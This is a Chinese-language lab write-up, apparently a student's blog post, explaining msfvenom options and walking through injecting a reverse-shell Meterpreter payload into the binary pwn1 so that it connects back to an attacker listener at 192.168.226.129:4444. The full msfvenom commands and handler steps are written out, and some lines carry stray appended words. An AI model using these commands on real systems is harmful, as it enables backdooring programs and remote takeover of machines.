Payload是是包含在你用於一次漏洞利用(exploit)中的ShellCode中的主要功能代碼。由於Payload是包含在ShellCode中的,ShellCode是真正的被輸入到存在漏洞的程序中的,而且ShellCode負責把程序的流程最終轉移到你的Payload代碼中。因此對於一個漏洞來講,ShellCode就是一個用於某個漏洞的二進制代碼框架,有了這個框架你能夠在這個ShellCode中包含你須要的Payload來作一些事情。html
給個中文版的msfvenom的命令行選項:linux
Options: -p, --payload <payload> 指定須要使用的payload(攻擊荷載)。若是須要使用自定義的payload,請使用'-'或者stdin指定 -l, --list [module_type] 列出指定模塊的全部可用資源. 模塊類型包括: payloads, encoders, nops, all -n, --nopsled <length> 爲payload預先指定一個NOP滑動長度 -f, --format <format> 指定輸出格式 (使用 --help-formats 來獲取msf支持的輸出格式列表) -e, --encoder [encoder] 指定須要使用的encoder(編碼器) -a, --arch <architecture> 指定payload的目標架構 --platform <platform> 指定payload的目標平臺 -s, --space <length> 設定有效攻擊荷載的最大長度 -b, --bad-chars <list> 設定規避字符集,好比: '\x00\xff' -i, --iterations <count> 指定payload的編碼次數 -c, --add-code <path> 指定一個附加的win32 shellcode文件 -x, --template <path> 指定一個自定義的可執行文件做爲模板 -k, --keep 保護模板程序的動做,注入的payload做爲一個新的進程運行 --payload-options 列舉payload的標準選項 -o, --out <path> 保存payload -v, --var-name <name> 指定一個自定義的變量,以肯定輸出格式 --shellest 最小化生成payload -h, --help 查看幫助選項 --help-formats 查看msf支持的輸出格式列表
首先咱們用到的第一個選項是-l,查看全部msf可用的payload列表。裏面有526種payload,咱們須要的payload功能是獲取反彈鏈接shell。shell
想要找到可用的payload首先要知道靶機的版本。在網上找方法查了一下,我開的另一臺kali靶機是64位。對應linux64位可用的payload有這些。windows
根據這些payload的功能描述,找出咱們須要的payload,使用-p指定。給你們翻譯了一下這些描述啥意思,以下:架構
- execute an arbitrary command 執行一個任意命令 - Inject the mettle server payload(staged).Listen to a connection. 注入mettle server payload,監聽等待一個鏈接。 - Inject the mettle server payload(staged).Connect back to a connection. 注入mettle server payload,反彈鏈接一個鏈接。 - run the meterpreter /Mettle server payload (stageless) 運行meterpreter或者Mettle server payload - spawn a command shell.Listen to a connection. 產生一個shell,等待鏈接。 - spawn a command shell.Connect back to a connection. 產生一個shell,反彈鏈接一個鏈接。 - Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'. 在一個隨機端口監聽一個鏈接,併產生一個shell。 - Spawn a shell on an established connection 在已經存在的鏈接上產生一個shell - Connect back to attacker and spawn a command shell 反彈鏈接攻擊者,併產生一個shell。
很顯然咱們選擇最後一個,linux/x64/shell_reverse_tcp.框架
選定了payload,咱們須要給它寫一些什麼參數呢?用這個指令查看less
msfvenom -p windows/meterpreter/reverse_tcp --payload-options
基礎參數就兩個LHOST和LPORT。跟在payloa後面設置一下就能夠了。dom
選好了payload,接下來咱們-f選payload的輸出格式。用這個指令能夠查看payload有哪些輸出格式。tcp
msfvenom --help-formats
發現有不少:
post
咱們的目標是注入到pwn1裏去,固然選擇ELF格式了!
還能夠用-e選擇編碼器和-i迭代編碼的次數。用這個指令查看可用的編碼方式。
msfvenom -l encoders
但ELF文件的編碼方式應該是機器無關的,不用選這個選項。
最後呢,固然是要用-x參數指定咱們的模板pwn1.payload(shellcode)就寫入到pwn1這個可執行文件中。
因此,最終咱們的指令是
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.226.129 LPORT=4444 -x /root/20155225/pwn1 -f elf -o pwn2
而後把咱們毒化的pwn2,複製到靶機裏。
打開攻擊方的msfconsole,加載exploit/multi/handler模塊,設置參數,最後一個exploit指令!攻擊!
可是一切彷佛不如人意,我在靶機上運行了pwn2,控制機沒有任何反應……
而後又在網上找了這篇文章msfvenom生成各種Payload命令,裏面說linux裏指令要這樣寫
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf
對比以後,我意識到,雖然linux系統是64位,但pwn1是個32位程序啊!因此仍是用x86下面的payload。
最終的指令是這樣的:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.226.129 LPORT=4444 -x /root/20155225/pwn1 -f elf > pwn3
再懷着忐忑和激動的心情去測試了一下pwn3,就發現成功了!
作了一天才成功,找了不少亂七八糟的資料,主要有用的參考資料以下:
Meatsploit Framework msfvenom使用簡介